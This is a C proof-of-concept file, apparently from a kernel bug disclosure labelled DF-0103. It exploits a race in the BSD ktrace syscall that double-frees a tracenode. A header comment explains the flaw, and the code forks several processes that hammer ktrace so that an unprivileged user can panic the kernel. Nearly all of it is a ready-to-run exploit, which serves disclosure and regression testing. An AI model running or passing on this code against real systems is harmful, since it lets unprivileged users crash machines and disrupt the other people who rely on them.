DF-0103 / race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 | /* * DF-0103 PoC — ktrace() mutates target p_tracenode without p_token; two * concurrent ktrace(KTROP_SET) on the same pid double-free the tracenode. * * sys_ktrace by-pid path (sys/kern/kern_ktrace.c:374-387) calls ktrops(td,p) * WITHOUT acquiring target p->p_token (only the caller's curp->p_token is * held, :305). ktrops KTROP_SET (:514-518): * * oldnode = p->p_tracenode; // snapshot, no lock * p->p_tracenode = ktrinherit(tracenode); * ktrdestroy(&oldnode); // atomic refs--, free if 0 (:482) * * Two SEPARATE caller processes P1,P2 (each with its own curp->p_token, so * they do NOT serialize) both targeting the same pid T can both snapshot * oldnode=A, then each ktrdestroy(&A): the second sees A->kn_refs == 0 (or * reads freed/poisoned memory) -> KKASSERT(kn_refs>0) panic (:481) or slab * INVARIANTS double-free/UAF panic. * * ktrcanset() (:667) lets an unprivileged user trace its own (same-uid, * non-sugid) processes, so this is fully unprivileged. * * Build: cc -O2 -o race race.c * Run: ./race (watch for kernel panic; ssh session dies, guest in DDB) * * Expected (BUG present): kernel panic within the window (KKASSERT in * ktrdestroy, or fatal trap on freed tracenode / slab INVARIANTS). * Expected (FIXED): process runs to completion, prints RACE_DONE. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <signal.h> #include <sys/wait.h> #include <sys/syscall.h> #include <fcntl.h> #ifndef SYS_ktrace #define SYS_ktrace 45 #endif #define KTROP_SET 0 #define KTROP_CLEAR 1 #define KTRFLAG_DESCEND 4 #define KTRFAC_SYSCALL (1<<1) /* KTR_SYSCALL == 1 */ static volatile sig_atomic_t stop = 0; static void ahandler(int s) { stop = 1; (void)s; } /* Caller process: hammer ktrace(KTROP_SET, target). Own curp->p_token. */ static void caller(const char *file, int target) { while (!stop) syscall(SYS_ktrace, file, KTROP_SET, KTRFAC_SYSCALL, target); _exit(0); } int main(int argc, char **argv) { const char *tfile = argc > 1 ? argv[1] : "df0103.trace"; pid_t target, c1, c2; int fd, cnt = 0; fd = open(tfile, O_CREAT | O_TRUNC | O_RDWR, 0600); if (fd >= 0) close(fd); signal(SIGALRM, ahandler); signal(SIGCHLD, SIG_IGN); /* target: a same-uid child we are allowed to trace; it just sleeps */ target = fork(); if (target == 0) { for (;;) pause(); _exit(0); } fprintf(stderr, "[*] DF-0103: target pid=%d; 3 callers racing " "ktrace(KTROP_SET/CLEAR) for 30s...\n", (int)target); alarm(30); c1 = fork(); if (c1 == 0) caller(tfile, target); c2 = fork(); if (c2 == 0) caller(tfile, target); /* Parent is a third concurrent caller: alternate SET/CLEAR to also * exercise the ktrdestroy(&p->p_tracenode) CLEAR path (:527). */ while (!stop) { syscall(SYS_ktrace, tfile, KTROP_SET, KTRFAC_SYSCALL, target); syscall(SYS_ktrace, tfile, KTROP_CLEAR, KTRFAC_SYSCALL, target); if (++cnt % 256 == 0) usleep(1); } kill(c1, SIGTERM); kill(c2, SIGTERM); kill(target, SIGTERM); fprintf(stderr, "RACE_DONE: no panic in this 30s window " "(timing-dependent; retry if needed)\n"); return 0; } |